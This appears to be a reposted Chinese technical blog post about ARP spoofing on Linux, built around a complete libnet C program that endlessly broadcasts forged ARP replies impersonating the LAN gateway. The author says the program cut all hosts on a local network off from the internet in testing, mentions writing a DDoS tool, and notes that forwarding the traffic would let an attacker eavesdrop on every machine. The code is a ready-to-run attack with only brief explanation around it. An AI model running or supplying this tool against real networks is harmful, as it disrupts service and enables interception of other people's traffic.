Linux下使用libnet實現ARP攻擊

jopen 11年前發布 | 12K 次閱讀 Linux

   用libnet寫了個簡單的ARP攻擊。以前感覺ARP攻擊不是特別常見,不過最近工作中倒是遇到過兩次ARP欺騙的事件。其實ARP欺騙的原理灰常簡單滴,大部分都是在局域網中發送偽造的ARP廣播包, 廣播包的目的是干嘛呢?很簡單,欺騙內網的所有主機,告訴受害主機,“我”是網關。 內網機器接收到這種廣播包之后,會刷新自己ARP緩存表,把網關的IP和廣播包中的源MAC綁定。這樣攻擊機器就達到了冒充網關的目的。

    上次一所大學就是被ARP欺騙攻擊,他們的學校主頁一打開就會跳出其他很多亂七八糟的頁面,,,,當時查看他們WEB服務器的源代碼,發現沒有被插入這些<iframe>會彈頁面的代碼,但是用瀏覽器外網訪問的時候,這些代碼就出現了,很明顯網站的返回的客戶端數據在途中被劫持修改了(插入了一些代碼)。

    下面實現的就比較簡單了,只做欺騙,不做轉發,導致的后果就是局域網所有主機會斷網。測試了一下,內網主機會無法上網,安了360ARP防護的會報警,能上網,就是網速有點慢,但是識別出了的攻擊主機好像不準確,試了幾次都識別成正常的電腦在攻擊,不知道360這個識別是不是通過源MAC地址識別還是怎么識別。

#include "arp.h"

int main(int argc,char **argv){
    libnet_t *l;
    int i,packet_size;      //發送的數據包的長度
    libnet_ptag_t arp_tag,ether_tag;
    char *device="eth0";
    char err_buf[LIBNET_ERRBUF_SIZE];
    char *destion_ip_str = "255.255.255.255";
    char *source_ip_str = "192.168.1.1";
    u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
    u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
    u_int32_t source_ip,destion_ip;
    //將字符形式ip轉換為網絡字節序
    source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
    destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
    //初始化libnet句柄
    l = libnet_init(LIBNET_LINK,device,err_buf);
    if(l == NULL){
        printf("初始化libnet句柄失敗:%s\n",err_buf);
        exit(-1);
    }
    arp_tag = libnet_build_arp(
        ARPHRD_ETHER,       //硬件地址類型,此處為以太網類型
        ETHERTYPE_IP,       //協議地址類型
        6,
        4,
        ARPOP_REPLY,        //ARP應答
        source_hardware,
        (u_int8_t *)&source_ip,
        destion_hardware,
        (u_int8_t *)&destion_ip,
        NULL,       //無負載
        0,          //負載長度為0
        l,
        0       //協議塊標記,為0,表示新建協議塊
        );
    ether_tag = libnet_build_ethernet(
        (u_int8_t *)&destion_hardware,
        (u_int8_t *)&source_hardware,
        ETHERTYPE_ARP,
        NULL,
        0,
        l,
        0
        );
    i = 0;
    while(1){
        packet_size = libnet_write(l);      //發送構造的ARP數據包
        usleep(10);
        i++;
    }
    printf("數據包長度為:%d\n",packet_size);
    libnet_destroy(l);
    return 0;
}
   目標MAC為廣播地址,全0xff就行,源MAC地址可以為本機MAC或者隨便偽造的MAC(在程序中獲取本機MAC可用ioctl函數,最近在寫DDOS攻擊程序就是用ioctl獲取本機MAC和IP的),注意ARP包類型為ARPOP_REPLY(應答包)。

    如果不想弄斷網,只進行欺騙的話,數據發送過來之后,要進行轉發到正確的網關,這樣就保證內網網絡正常,而且所有數據都被監聽了

來自:http://my.oschina.net/jiyufei/blog/179494

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!